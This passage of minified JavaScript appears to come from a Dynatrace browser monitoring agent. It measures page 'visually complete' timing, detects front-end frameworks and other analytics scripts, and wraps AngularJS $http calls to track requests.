lb(ce,Xd,sa):nb(u,E,od,Ia,we,Xd,sa)).then(cb)["catch"](Fb)};!bb&&ib(E)?(E.addEventListener("load",Ib),E.addEventListener("error",Ib)):Ib();Ib=!0}Ea(E)&&(fd=I(E))&&(ld=C(u,E,fc,Ia,ha,fd))&&sa.push(ld);Ib||cb()})}function Ab(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia=!1);return Ua(this,void 0,void 0,function(){var bb,cb;return Pa(this,function(Fb){switch(Fb.label){case 0:return Fb.ia.push([0,6,,7]),bb=H(E,u.cb),cb=N.getComputedStyle(E),(V(E)?E.offsetWidth*E.offsetHeight>rb:E.clientWidth*E.clientHeight>rb)?fa(bb, E)?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,2]:[3,3];case 1:Fb.J(),Fb.label=2;case 2:return[3,5];case 3:return Na.dT_.iIO(E,10)||cb.backgroundImage&&"none"!==cb.backgroundImage?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,5];case 4:Fb.J(),Fb.label=5;case 5:return[3,7];case 6:return Fb.J(),[3,7];case 7:return[2]}})})}function gc(u){return bc?Ha(1,u).concat(Ha(2,u)):[]}function Vb(u){return function(E){var N=Na.dT_.gto(),ha=E.time-N;N=(E.endTime||E.time)-N;return{name:E.url,failedResource:u,startTime:ha,responseEnd:N,duration:N- ha,_dtCl:!0}}}function Ha(u,E){var N=Na.dT_.aM(Wc[u][E]||[],Vb(u));E?delete Wc[u][E]:Wc[u]={};return N}function yb(u){return!u.time}function vb(u,E,N){u=u.getEntriesByName(N.url,"resource")[0];za(u)?N.time=Math.round(E+u.responseEnd):N.time=0}function ca(u,E){var N=null,ha=0;try{N=E.performance,ha=Na.dT_.gNTO(N)}catch(sa){}N&&u.filter(yb).forEach(vb.bind(null,N,ha))}function Oa(u){return!(!u||0!==u.indexOf("http"))}function Za(u,E){return"loading"in HTMLImageElement.prototype&&"lazy"===u.getAttribute("loading")&& !Ja(H(u,E))}function I(u){try{if(u.srcset)return u.currentSrc;var E=u.parentElement;if(E&&"PICTURE"===E.nodeName)for(var N=0;N<E.children.length;N++)if("SOURCE"===E.children[N].tagName)return u.currentSrc;return u.currentSrc||u.src}catch(sa){try{var ha=u.getAttribute("src");return ha?Na.dT_.tau(ha):""}catch(Ia){return""}}}function ka(u,E,N,ha,sa){void 0===sa&&(sa=!1);return Ua(this,void 0,void 0,function(){var Ia,bb;return Pa(this,function(cb){switch(cb.label){case 0:Ia=[];try{bb=(ha||E.document).getElementsByTagName("*")}catch(Fb){return[2, Ia]}return[4,Na.dT_.fEP(bb,function(Fb,Ib,fc,Ec){Ab(u,Fb,E,N,Ia,sa).then(Ec)["catch"](Ma)},void 0,!(ic.syn||sa))];case 1:return cb.J(),ca(Ia,E),[2,Ia]}})})}function Ba(u,E,N,ha){var sa={uf:[],style:void 0};if(!N&&!ad||eb(ha))return sa;N=qa(u);if(!N)return sa;sa.style=N;(N=N.backgroundImage)&&"none"!==N&&(sa.uf=N.split(",").map($a).filter(Oa).filter(Hb).map(ba.bind(null,E,u)));return sa}function $a(u){void 0===u&&(u="");zd.lastIndex=0;return(u=zd.exec(u))&&1<u.length?u[1]||u[2]||u[3]:""}function Cb(u, E,N,ha){if(pc&&!u.dT_vcInstr&&!Za(u,ha.cb))if(Ea(u)){if(N=I(u),Hb(N)&&Oa(N)){N={url:N,time:Na.dT_.nw(),element:u};u.dT_vcInstr=!0;a:if(!u.complete||u.naturalWidth||Na.dT_.gBI().ie)ha=u.complete?"SUCCESSFUL":"PENDING";else{if(Na.dT_.gBI().ff){var sa=ha=I(u),Ia=ha.indexOf("?");0<=Ia&&(sa=ha.substring(0,Ia));if(sa.lastIndexOf(".svg")===sa.length-4){ha="UNKNOWN";break a}}ha="FAILED"}switch(ha){case "FAILED":Z(N,1,E);break;case "PENDING":ta(u,N,E)}}}else V(u)&&Ba(u,E,N,ha)}function bd(u,E,N,ha){var sa= E.contentWindow;if(!sa)return ra.resolve();try{var Ia=sa.dT_}catch(cb){}var bb=!U(u,E)&&Ja(ha);return Ia&&Ia.gLVD?lb(Ia,bb,u.ya):ka(u,sa,N).then(function(cb){var Fb;(Fb=u.ya).push.apply(Fb,cb.map(function(Ib){var fc;return La(La({},Ib),(fc={},fc.v=Ib.v&&bb,fc))}))})}function Qb(){Ka("f");return af}function Zb(){var u=ic;u.gUI=gc;u.vWW=va;u.vWH=S;u.gVCP=Qb;u.gLVD=ab}function q(u){for(var E=0,N=0,ha=0,sa=Na.dT_.red(u,function(cb,Fb){return cb+Fb.Ud},0),Ia=0;Ia<u.length;Ia++){var bb=u[Ia];N=bb.time- N;0<N&&1>ha&&(E+=(1-ha)*N);ha+=bb.Ud/sa;N=bb.time}return Math.round(E)}function D(u,E,N){var ha=[],sa;for(sa in u)if(Na.dT_.oHOP(u,sa)){var Ia=u[sa].Ub;ha.push({time:Number(sa)-N,Ud:Ia/E,Ub:Ia})}ha.sort(function(bb,cb){return bb.time-cb.time});return ha}function t(u){return u.v}function y(u,E){var N,ha=E.time;E=E.area;null!==(N=u[ha])&&void 0!==N?N:u[ha]={Ub:0,Ud:0,time:0};u[ha].Ub+=E;return u}function Y(u){u.Bb--;O(u)}function x(u,E){var N=-1;if(E){N=Math;var ha=E.time;N=N.round.call(N,0>ha?-1:ha- u.ub);N>Nc&&(u.trigger="t",N=-2);var sa=E.node;if(sa){ha=E.area;var Ia={left:NaN,top:NaN};try{Ia=sa.getBoundingClientRect()}catch(Ib){}var bb=$b.split(",");ha={location:{x:Math.ceil(Ia.left),y:Math.ceil(Ia.top)},size:Math.ceil(ha),hj:sa.getAttribute("class"),id:sa.getAttribute("id"),name:sa.getAttribute("name"),tagName:sa.tagName,Wg:Na.dT_.gecsss(sa)};for(Ia=0;Ia<bb.length;Ia++){var cb=bb[Ia],Fb=sa.getAttribute(cb);if(Fb){ha.Qh={key:cb,value:Fb};break}}ha?(sa=ha.Qh,cb=ha.location,Fb=ha.size,bb=ha.tagName, Ia=ha.Wg,ha=Na.dT_.aesc(ha.name||""),cb=[cb.x,cb.y,Fb],ha&&cb.push("n;".concat(ha)),sa&&cb.push("u;".concat(Na.dT_.aesc(sa.key),",").concat(Na.dT_.aesc(sa.value))),Ia?cb.push("s;".concat(Na.dT_.aesc(Ia))):cb.push("t;".concat(Na.dT_.aesc(bb))),ha=cb.join("|")):ha="";E.kd=ha}u.mh&&(bc=!0)}return N}function oa(u,E,N){var ha=Na.dT_.nw()-E.vf,sa=Na.dT_.nw(),Ia=E.ya.filter(aa);var bb=E.ub;Na.dT_.nw();for(var cb=Ia.length-1;0<cb;cb--)for(var Fb=Ia[cb],Ib=cb-1;0<=Ib;Ib--){var fc=Ia[Ib],Ec=fc.area,ld=Fb.area; if(ld&&Ec&&2500<Ec){var fd=Fb.offset,hd=fc.offset,od=ne(fd.top,hd.top),we=ne(fd.left,hd.left),ce=ze(fd.left+fd.width,hd.left+hd.width);fd=ze(fd.top+fd.height,hd.top+hd.height);we=ne(0,ce-we);od=ne(0,fd-od);fc.area=ne(0,Ec-ze(Math.round(we*od),ld))}}Ia=Ia.filter(t).reduce(y,{});bb=D(Ia,va()*S(),bb);vd=q(bb);vd>u&&(vd=u);Na.dT_.nw();bb=vd;sa=Na.dT_.nw()-sa;u=[["V",u+"|"+E.trigger],["VCD",String(ha)],["VCDS",String(sa)],["VCS",String(E.vf-E.ub)],["VCO",String(E.eg-E.ub)],["VCI",String(E.ve)]];(N=(null=== N||void 0===N?void 0:N.kd)||"")&&Na.dT_.apush(u,["VE",N]);Na.dT_.apush(u,["S",String(0<=bb?bb:-1)]);Na.dT_.cAE("_vc_",u,E.G,E.ub)}function R(u){var E,N,ha;"n"===u.trigger&&(u.trigger=u.lb?"f":"c");u.ya.sort(function(cb,Fb){return cb.time-Fb.time});var sa=W(u.ya),Ia=x(u,sa);oa(Ia,u,sa);ia(sa,u.ya);af=Ia;var bb=(E={},E.t=u.trigger,E.k=sa,E.v=Ia,E);Se=bb;Na.dT_.disE((N={},N.kind="VISUALLY_COMPLETE",N.detail=La(La({},bb),(ha={},ha.a=u.G,ha.e=u.ya,ha)),N));sa&&(sa.node=null);u.ya=[];ua(u.Kf);u.Sf=!0;u.Ch(-1< Ia?u.ub+Ia:-1)}function O(u){var E=u.Gf===u.If,N=!u.Bb;E&&N&&u.ra&&(Na.dT_.ct(u.ra),u.ra=0);!u.Sf&&N&&(!u.Hc.length&&E||u.lb)&&R(u)}function wa(){var u=!1;pc&&Na.dT_.addE("INSTRUMENTATION_TRIGGERED",function(){if(!u){u=!0;for(var E=Na.dT_.gEBTN("*"),N={ue:0,ve:0,cb:new WeakMap},ha=0;ha<E.length;ha++)Cb(E[ha],Na.dT_.lAID(),!0,N)}})}function Ga(){var u;ye=new WeakMap;wa();He=!(null===(u=document.body)||void 0===u||!u.childElementCount);Na.dT_.las()||Na.dT_.aMO(Na.dT_.lAID());Na.dT_.addE("ACTION_ENTERED", function(E){Na.dT_.aMO(E.detail.i);E.detail.i===E.detail.r&&Ka("u")});Na.dT_.addE("ACTION_CLOSED",function(E){E=E.detail;var N=E.i,ha=E.r,sa=E.f,Ia=E.a;if(E.dne)Na.dT_.rMO(N);else{var bb=function(Ib){if("u"!==Ib||N===Na.dT_.lAID())Na.dT_.ct(cb),Wa(N,ha===N,!0,Ia,bb,Fb,Ib)};Te.push(bb);E=Wa(N,ha===N,sa,Ia,bb);var cb=E.ra,Fb=E.Dg}});Na.dT_.addE("ACTION_BEACON_FORCED",function(){Ka(Na.dT_.las()?"l":"f")})}function Wa(u,E,N,ha,sa,Ia,bb){if(!E)return Na.dT_.rMO(u),ve;var cb=Ia||Na.dT_.aAWC(u);if(!cb)return ve; if(!N)return{ra:Na.dT_.st(function(){gd(u,cb,!1,ha,sa,bb)},Sc),Dg:cb};gd(u,cb,!0,ha,sa,bb);return ve}function Eb(u,E){return function(N){N=E+N.time;return!u||u<=N}}function Lb(u,E,N,ha,sa){var Ia=ha.push;a:{var bb;if((N||!u.wd.has(sa))&&sa.nodeType!==Node.TEXT_NODE&&V(sa)){var cb=Ba(sa,u.G,N,u),Fb=cb.uf;Ea(sa)?(Cb(sa,u.G,N,u),Fb.push(sa)):db(sa)&&Fb.push(sa);if(N=sa&&sa.nodeType&&1===sa.nodeType)try{var Ib=Ac;N=!!Ib&&sa.matches(Ib)}catch(Ec){N=!1}if(Fb.length&&!N)for(bb=0;bb<Fb.length;bb++)Sa(Fb[bb], u,E,sa,cb.style);else Fb=H(sa,u.cb),Fb=L(ja(Fb)),Kc(u,(bb={},bb.time=Math.round(E),bb.node=sa,bb.area=Fb,bb.v=!U(u,sa,cb.style),bb.url="",bb.offset={top:0,left:0,width:0,height:0},bb.is=N?1:0,bb));try{if(sa.hasChildNodes()){var fc=sa.childNodes;break a}}catch(Ec){}}fc=[]}Ia.call(ha,fc)}function Nb(u,E){return Ua(this,void 0,void 0,function(){var N,ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:return N=!E.lb,ha=Na.dT_.gXACT(E.G)[0],sa=u,ha?[4,Na.dT_.fP(u,Eb(ha,Na.dT_.gto()),N)]:[3,2];case 1:sa= Ia.J(),Ia.label=2;case 2:return[4,Na.dT_.fEP(sa,function(bb,cb,Fb,Ib){var fc=[],Ec=bb.time;Na.dT_.fEP(bb.nodes,Lb.bind(null,E,Ec,!0,fc),Ec,N).then(function(){return Na.dT_.fEP(fc,function(ld,fd,hd,od){Na.dT_.fEP(ld,Lb.bind(null,E,Ec,!1,fc),null,N,!0).then(od)["catch"](Ma)},null,N,!0)}).then(Ib)["catch"](Ma)},null,N,!0)];case 3:return Ia.J(),[2,E]}})})}function ac(u,E,N){Na.dT_.ct(u.Yb);Na.dT_.ct(u.Fc);Na.dT_.rMO("vc-timeout-".concat(E));u.Yb=-1;u.Fc=-1;Oc(E,N,!0)}function rc(u,E){var N={Fc:-1,Yb:-1}; N.Fc=Na.dT_.st(function(){ac(N,u,E)},ed);mc(u,E,N);Na.dT_.aMO("vc-timeout-".concat(u),function(){mc(u,E,N)});return N}function mc(u,E,N){Na.dT_.ct(N.Yb);N.Yb=Na.dT_.st(function(){ac(N,u,E)},Ic)}function Oc(u,E,N){return Ua(this,void 0,void 0,function(){var ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:ha=Na.dT_.gMN(u);Na.dT_.rMO(u);E.eg=Na.dT_.nw();E.Bb++;if(!N||!He&&!qd)return[3,2];E.Bb++;return[4,ka(E,oc,void 0,void 0,E.lb)];case 1:return sa=Ia.J(),sa.forEach(Kc.bind(null,E)),Y(E),[3, 3];case 2:ha.length||O(E),Ia.label=3;case 3:return[4,Nb(ha,E)];case 4:return Ia.J(),Y(E),[2]}})})}function Kc(u,E){var N=E.node;if(N){if(u.wd.has(N)){(N=u.wd.get(N))&&E.time>u.ya[N].time&&(u.ya[N]=E);return}u.wd.set(N,u.ya.length)}u.ya.push(E)}function gd(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia="n");ua(sa);sa=ic;sa.syn&&sa.logSynthetic("Starting vc calculation with arguments ".concat(JSON.stringify({G:u,force:N,ub:ha,trigger:Ia}),". Stack:\n").concat(Error().stack));sa=Na.dT_.lAID()===u;var bb={ub:ha,Gf:0, If:0,Bb:0,Sf:!1,vf:Na.dT_.nw(),eg:0,ra:Na.dT_.st(function(){bb.lb=!0;bb.Bb=0;O(bb)},Nc),Hc:[],Vg:[],ya:[],wd:new WeakMap,mh:sa,Ch:E,G:u,trigger:Ia,lb:N,ue:0,ve:0,cb:new WeakMap,Kf:function(Fb){if("u"!==Fb||u===Na.dT_.lAID())bb.lb=!0,bb.Bb=0,bb.trigger=Fb,0<=cb.Yb&&0<=cb.Fc&&ac(cb,u,bb),O(bb)}},cb={Yb:-1,Fc:-1};Te.push(bb.Kf);sa&&!N?cb=rc(u,bb):Oc(u,bb,sa)}function ma(u,E,N,ha,sa,Ia,bb){var cb,Fb=Na.dT_.tau(u),Ib=wb;Ib=Fb&&Ib&&Ib.test(Fb);var fc=L(ja(ha)),Ec=(cb={},cb.url=Fb,cb.time=Math.round(E), cb.node=N,cb.v=!U(sa,N,bb),cb.area=fc,cb.offset=ha,cb.is=Ib?2:0,cb);Kc(sa,Ec);ha=Ea(N);bb=db(N);u=ha&&!N.complete&&!Na.dT_.gBI().ie&&"data:"!==u.substring(0,5)||bb&&ib(N);sa.Gf++;Na.dT_.apush(sa.Hc,{name:Ec.url,startTime:E});if(!u||sa.lb||Ib)(ha||bb)&&Db(N,sa,Ec,Ia,!0);else{var ld=function(){sa.cb["delete"](N);Db(N,sa,Ec,Ia,!1);N.removeEventListener("load",ld);N.removeEventListener("error",ld)};N.addEventListener("load",ld);N.addEventListener("error",ld)}}function Ca(u){return u.currentSrc||u.getAttribute("src")|| u.getAttribute("href")||""}function Ra(u,E,N,ha,sa){var Ia,bb=wb;bb=(u=Na.dT_.tau(u))&&bb&&bb.test(u);var cb=sa===E;return Ia={},Ia.url=u,Ia.time=Math.round(N),Ia.node=E,Ia.v=!1,Ia.area=0,Ia.offset=ha,Ia.is=bb?2:0,Ia.w=cb?E.width:sa.clientWidth,Ia.h=cb?E.height:sa.clientHeight,Ia.nw=cb?E.naturalWidth:E.width,Ia.nh=cb?E.naturalHeight:E.height,Ia}function Sa(u,E,N,ha,sa){var Ia=Ca(u);if(Hb(Ia)&&!Za(u,E.cb)&&!E.Hc.some(function(cb){return cb.name===Ia})){var bb=H(ha,E.cb);Ea(u)&&!u.width||fa(bb,u)?(Ja(bb)|| Ea(u))&&ma(Ia,N,u,bb,E,ha,sa):Ea(u)&&E.ya.push(Ra(Ia,u,N,bb,ha))}}function Db(u,E,N,ha,sa){var Ia=oc.performance,bb=N.url,cb=Na.dT_.nw();(Ia=!sa&&Lc?cb:Na.dT_.red(Ia.getEntriesByName(bb,"resource"),pa(Ia),0))&&(N.time=Math.max(Math.round(Ia),N.time));sa||(N.o=cb);Ia=ja(H(ha||u,E.cb));N.area=L(Ia);N.node=ha;if(Ea(u)){var Fb=ha===u;N.w=Fb?u.width:ha.clientWidth;N.h=Fb?u.height:ha.clientHeight;N.nw=Fb?u.naturalWidth:u.width;N.nh=Fb?u.naturalHeight:u.height}E.If++;ha=Na.dT_.aFI(E.Hc,function(Ib){return Ib.name=== bb});-1!==ha&&(ha=E.Hc.splice(ha,1)[0],E.Vg.push(ha.name),sa&&E.lb&&Z({time:ha.startTime,url:ha.name,isVisible:Q(N),element:N.node,endTime:cb},2,E.G),db(u)&&(E.Bb++,bd(E,u,N.offset,Ia).then(Y.bind(null,E))["catch"](Ma)),O(E))}function Yb(u){u=u.detail;var E=u.i,N=u.a;u.r===E&&Na.dT_.cAE("_vc_",[["V","-3"],["S","-3"]],E,N)}var Na="undefined"!==typeof window?window:self,oc="undefined"!==typeof window?window:self,rb=-1,wb=null,pc=!1,Sc=-1,ed=-1,$b="",Ac="",Ic=-1,Nc=-1,qd=!1,ad=!1,dc=0,Lc=!1,jd="function"=== typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,bc=!1,ic,Pd,af,Se,Qd,ke={},Wc=(Qd={},Qd[1]={},Qd[2]={},Qd),Te=[],Bd=oc.document.documentElement,Rd,Xe,ye,zd=/url\s*\(\s*(?:'(\S*?)'|"(\S*?)"|((?:\\\s|\\\)|\\"|\\'|\S)*?))\s*\)/gi,ze=Math.min,ne=Math.max,vd=-1,He,ve={ra:0,Dg:void 0};(function(u){var E,N,ha=oc.dT_;if(ha&&ha.smbi&&ha.io&&ha.iMod){ic=ha;Pd=Na.dT_.tdto();ha=Na.dT_.iMod();var sa=void 0;void 0===sa&&(sa=0);var Ia=-1;(null===ha||void 0===ha?0:ha.indexOf)&&(Ia=ha.indexOf("V", sa));ha=-1!==Ia;sa=Na.dT_.smbi("V");Ia=oc.performance;var bb=Na.dT_.bcv("dmo")&&Na.dT_.gBI().ie,cb=Pd.syn;Ia=!!oc.MutationObserver&&!(null===Ia||void 0===Ia||!Ia.getEntriesByType)&&!bb||cb;if(null===(N=(E=Na.dT_).ssmbi)||void 0===N?0:N.call(E,"V",u,Ia,sa))return ha||Na.dT_.iMod("V"),la(),Na.dT_.addE&&Na.dT_.addE("CONFIG_UPDATE",la),Ga(),!0;!sa||ha||Ia||Na.dT_.addE("ACTION_BEFORE_SEND",Yb)}return!1})(!1)&&Zb()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(fa){function S(eb){return!(!eb||!eb[fa])}var va,ja=0;if(S(document.body))return document.body;if(S(null===(va=document.body)||void 0===va?void 0:va.firstElementChild))return document.body.firstElementChild;if("function"===typeof document.createTreeWalker&&"undefined"!==typeof NodeFilter){va=function(eb){ja++;return S(eb)||50===ja?NodeFilter.FILTER_ACCEPT: NodeFilter.FILTER_SKIP};try{var U=document.createTreeWalker(document.body,NodeFilter.SHOW_ELEMENT,{acceptNode:va}).nextNode()}catch(eb){U=document.createTreeWalker(document.body,NodeFilter.SHOW_ELEMENT,va,!1).nextNode()}return U}}function La(fa){var S;if(ab.Vue&&ab.Vue.version){var va=ab.Vue.version;"2"===va.split(".")[0]&&"__vue__"===fa&&(S=va);"3"===va.split(".")[0]&&"__vue_app__"===fa&&(S=va)}(va=ra(fa))&&va[fa]&&(za.dT_.iVRA(va,fa),S||(S=""));return S}function gb(fa){for(var S=ab,va=0;va<fa.length;va++)if(S= fa[va],"function"===typeof S)S=S.apply(this);else{var ja=S.split(".");S=ab;for(var U=0;U<ja.length&&"undefined"!==typeof S&&null!=S;U++)S=-1===ja[U].indexOf("()")?S[ja[U]]:S[ja[U].replace("()","")]();if("undefined"!==typeof S)break}return S}function db(){var fa=[],S=0,va=Array.prototype,ja=va.concat,U=[];for(Q in Ja)if(za.dT_.oHOP(Ja,Q))try{var eb=Ja[Q];"object"!==typeof eb&&(eb=[],eb[0]=Ja[Q]);var L=gb(eb);if("string"===typeof L||za.dT_.iIO(L,3))U.push(Q+("b"===Q?L:L.split(/-|_| /)[0]));else if("object"=== typeof L&&L.length)for(var C=L.length,H=0;H<C;H++)U.push(Q+L[H]);else void 0!==L&&U.push(Q+"x")}catch(W){}var Q=[];for(var ia in Ma)if(za.dT_.oHOP(Ma,ia))if(0===Ma[ia].indexOf("url"))for(eb=Ma[ia].replace("url:",""),L=document.getElementsByTagName("script"),C=0;C<L.length;C++)try{if(L[C].src&&-1!==L[C].src.indexOf(eb)){Q.push(ia);break}}catch(W){}else"undefined"!==typeof ab[Ma[ia]]&&Q.push(ia);for(va=ja.call(va,U,Q);S<va.length;S++)ja=va[S],na[ja]||(fa.push(ja),na[ja]=!0);return fa}function Ea(fa, S,va,ja){S||20<Aa||(ta.length||(ta=db(),Aa++),ta.length&&(fa.av(ja,"fd",za.dT_.aesc(ta.join(";")),!1),ta=[]))}function Ua(fa){fa.detail.i===za.dT_.lAID()&&(ta=db(),za.dT_.remE("ACTION_CLOSED",Ua))}function Pa(fa,S,va){var ja=0;try{if(3>=va&&!za.dT_.iIO(fa,8))if("object"===typeof fa&&-1===za.dT_.aIOf(S,fa)){za.dT_.apush(S,fa);for(var U in fa)za.dT_.oHOP(fa,U)&&(ja++,ja+=Pa(fa[U],S,va+1))}else if(za.dT_.iIO(fa,0)&&-1===za.dT_.aIOf(S,fa)){za.dT_.apush(S,fa);for(var eb=0;eb<fa.length;eb++)U=fa[eb],ja+= Pa(U,S,va+1)}}catch(L){}return ja}var za="undefined"!==typeof window?window:self,ab="undefined"!==typeof window?window:self,ba,Z,Aa=0,na=[],ta=[],Ma={fueldeck:"FDUPA",soasta:"url:c.go-mpulse.net",monitis:"JSBenchmark",pingdom:"PRUM_EPISODES",newrelic:"NREUM",appdynamics:"ADRUM",appneta:"_tly",pendo:"pendo",heap:"heap",mixpanel:"mixpanel",amplitude:"amplitude",tealeaf:"TLT",datadog:"DD_RUM",elastic:"elasticApm",requestmetrics:"RM",instana:"ineum",plumbr:"PLUMBR",glassbox:"_detector",decibelinsight:"decibelInsight", contentsquare:"CS_CONF",hotjar:"hjBootstrap",quantummetric:"QuantumMetricAPI",fullstory:"FS"},Ja=(ba={},ba.j="jQuery.fn.jquery",ba.o="Prototype.Version",ba.g=["angular.version.full",function(){if(document.querySelectorAll){for(var fa=Array.prototype.slice.call(document.querySelectorAll("[ng-version]")),S=[],va=0,ja=fa.length;va<ja;va++)S.push(fa[va].getAttribute("ng-version"));return S.length?S:void 0}}],ba.m="MooTools.version",ba.d="dojo.version.toString()",ba.e=["Ext.versions.extjs.version","Ext.version.version", "Ext.version"],ba.s=["Ext.versions.touch.version"],ba.i=["ice.icefaces","Ice"],ba.f=function(){if(Z.syn)for(var fa=0,S=['object param[name="movie"][value*=".swf"]','object param[name="src"][value*=".swf"]','embed[src*=".swf"]','object[data*=".swf"]'];fa<S.length;fa++)if(document.querySelectorAll(S[fa]).length)return"1"},ba.b=function(){var fa=ab.dataLayer,S=[];if(fa&&fa.length){for(var va=0,ja=0;ja<fa.length;ja++){var U=fa[ja];if("object"===typeof U&&-1===za.dT_.aIOf(S,U)){za.dT_.apush(S,U);for(var eb in U)za.dT_.oHOP(U, eb)&&(va++,va+=Pa(U[eb],S,0))}}va?(fa="1-5",500<va?fa="501+":100<va?fa="101-500":50<va?fa="51-100":10<va?fa="11-50":5<va&&(fa="6-10"),va=fa):va=void 0;return va}},ba.v=function(){return La("__vue__")},ba.k=function(){return La("__vue_app__")},ba.r=function(){if(ab.React&&ab.React.Component)return String(ab.React.version||"");var fa=ra("_reactRootContainer");if(fa&&fa._reactRootContainer)return""},ba.n=function(){var fa;if((null===(fa=ab.__NUXT__)||void 0===fa?0:fa.data)||ab.$nuxt)return""},ba.p=function(){var fa; if(ab.__NEXT_DATA__&&ab.__NEXT_DATA__.buildId)return String((null===(fa=ab.next)||void 0===fa?void 0:fa.version)||"")},ba);(function(){var fa,S;(Z=ab.dT_)&&(null===(S=(fa=za.dT_).smbi)||void 0===S?0:S.call(fa,"f"))&&(za.dT_.aBPSL(Ea),za.dT_.addE("ACTION_CLOSED",Ua))})()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(ma,Ca,Ra){void 0===Ra&&(Ra=0);var Sa=-1;Ca&&(null===ma||void 0===ma?0:ma.indexOf)&&(Sa=ma.indexOf(Ca,Ra));return Sa}function La(ma){function Ca(){Ha.dT_.gAA(Ra)&&(5>Qb[Ra].wf?(Qb[Ra].wf++,Ha.dT_.st(Ca,1E3)):Ha.dT_.lx(Ra,Sa,!1,Qb[Ra].yg))}var Ra=0,Sa="";if(ma){var Db=ma.config;Db&&(Ra=Db.actionId||0,Sa=Db.url,Ra&&Qb[Ra]&&!Db.Xg&&(Db.Xg=!0,Qb[Ra].yg= Ha.dT_.nw(),Ca()))}return ma}function gb(ma){return"object"===typeof ma&&ma.actionId?Ha.dT_.sch(ma,"",0):ma}function db(){return{request:gb,response:La}}function Ea(ma){var Ca=ma.interceptors;if(Ca){Ca.push(db);var Ra=Ca.push;Ca.push=function(){for(var Sa=Ra.apply(this,arguments),Db=0;Db<this.length;Db++)this[Db]===db&&(this[Db]=function(){return{}});Ra.call(this,db);return Sa}}else ma.responseInterceptors&&ma.responseInterceptors.push(function(){return function(Sa){return Sa.then(La)}})}function Ua(){0=== Number(I)?Zb.config(["$provide","$httpProvider",function(ma,Ca){Z(ma);Ea(Ca)}]):Zb.config(["$provide","$injector",function(ma,Ca){if(!Ca.has||Ca.has("$httpProvider")){try{var Ra=Ca.get("$httpProvider")}catch(Sa){return}Z(ma);Ea(Ra)}}])}function Pa(){Ha.dT_.iIO(arguments[1],0)&&0!==String(arguments[0]).indexOf("ng")&&arguments[1].push("dTModule");return bd.apply(this,arguments)}function za(ma){var Ca=Ha.dT_.cA(arguments);if(!Cb&&"function"===typeof ma){var Ra=ma;Ca[0]=function(){if(!Cb){Cb=!0;for(var Sa= null,Db=0,Yb=["ng:app","ng-app","x-ng-app","data-ng-app"];Db<Yb.length;Db++){var Na=Yb[Db];if(document.querySelector)Sa=document.querySelector("["+Na.replace(":","\\:")+"]");else for(var oc=document.getElementsByTagName("*"),rb=Ha.dT_.gEL(oc),wb=0;wb<rb;wb++)if(oc[wb].hasAttribute(Na)){Sa=oc[wb];break}if(Sa){Sa.getAttribute(Na)||Sa.setAttribute(Na,"dTModule");break}}}return gd.jqLiteReady(Ra,this,arguments)}}return $a.apply(this,Ca)}function ab(ma,Ca){if(ma&&ma.info&&ma.get)try{if(ma.info().id&&ma.get(Ca))return!0}catch(Ra){}return!1} function ba(ma,Ca,Ra,Sa){if("get"!==ma&&"jsonp"!==ma||!1===Ca.cache)return!1;ma=Ca.cache;Sa=null===Sa||void 0===Sa?void 0:Sa.cache;if("object"===typeof ma)Sa=ab(ma,Ra);else if(ma||Sa)Sa="object"===typeof Sa?ab(Sa,Ra):ab(null===q||void 0===q?void 0:q.get("$http"),Ra);else return!1;if(!Sa)for(var Db in Qb)if(Ha.dT_.oHOP(Qb,Db)&&Qb[Db].pending&&Qb[Db].url===Ra)return!0;return Sa}function Z(ma){Cb=!0;ma.decorator("$http",["$delegate",function(Ca){function Ra(){function oc(Ic){if(!wb){var Nc=Ha.dT_.nw(); wb=!0;Ha.dT_.st(function(){Ha.dT_.lx(Ic,Sc,!1,Nc)},0)}}function rb(Ic){var Nc=Ac[Ic];Nc&&(Ac[Ic]=function(){function qd(Lc){"function"===typeof ad[Lc]&&function(){var jd=ad[Lc];ad[Lc]=function(){Ha.dT_.ec($b);Qb[$b]&&Qb[$b].pending&&(Qb[$b].pending=!1);try{var bc=gd.promiseCallback(jd,this,arguments)}finally{Ha.dT_.lc($b),oc($b)}return bc}}()}for(var ad=Ha.dT_.cA(arguments),dc=0;dc<ad.length;dc++)qd(dc);return gd.promiseType(Nc,this,ad)})}var wb=!1;if("object"===typeof arguments[0]){var pc=arguments[0]; var Sc=pc.url+""}else pc="put"===Db||"post"===Db||"patch"===Db?3:2,arguments.length<pc&&(arguments[pc-1]={headers:{}},arguments.length++),pc=arguments[pc-1]||{},Sc=arguments[0]+"";pc.headers=pc.headers||{};var ed=ba((Db||pc.method||"get").toLowerCase(),pc,Sc,Ra.defaults),$b=Ha.dT_.ex(Oc+Za,3,Sc,void 0,null,ed);$b&&(pc.actionId=$b);Ha.dT_.sch(pc,Sc,$b);pc=Db;Db="";var Ac=pc?gd.delegate(Ca[pc],this,arguments,$b,Sc,Oc):gd.delegate(Ca,this,arguments,$b,Sc,Oc);$b&&(Qb[$b]=Qb[$b]||{yg:-1,wf:0,url:Sc,pending:!0}); Ac.then&&(rb("then"),Ac.then(function(){},function(){}));Ac["catch"]&&(rb("catch"),Ac["catch"](function(Ic){Ha.dT_.mx()&&(-1===Ic.status?Ha.dT_.mxc($b):Ha.dT_.mxf(Ic.status,Ic.statusText||"",$b))}));if(6>Number(I)&&Ac.success&&Ac.error){rb("success");rb("error");try{Ac.success(function(){}),Ac.error(function(Ic,Nc,qd,ad,dc){Ha.dT_.mx()&&(-1===Nc?Ha.dT_.mxc($b):Ha.dT_.mxf(Nc,dc||"",$b))})}catch(Ic){}}return Ac}function Sa(oc){Ra[oc]=function(){Db=oc;return gd.http(Ra,this,arguments)}}var Db="",Yb; for(Yb in Ca)if(Ha.dT_.oHOP(Ca,Yb)){var Na=Yb;-1<Ha.dT_.aIOf(D,Na)?Sa(Na):Ra[Na]=Ca[Na]}return Ra}]);ma.decorator("$log",["$delegate",function(Ca){var Ra=Ca.error;Ca.error=function(Db){Ha.dT_.rex(Db,void 0,!(Db&&Db.stack),"5");return 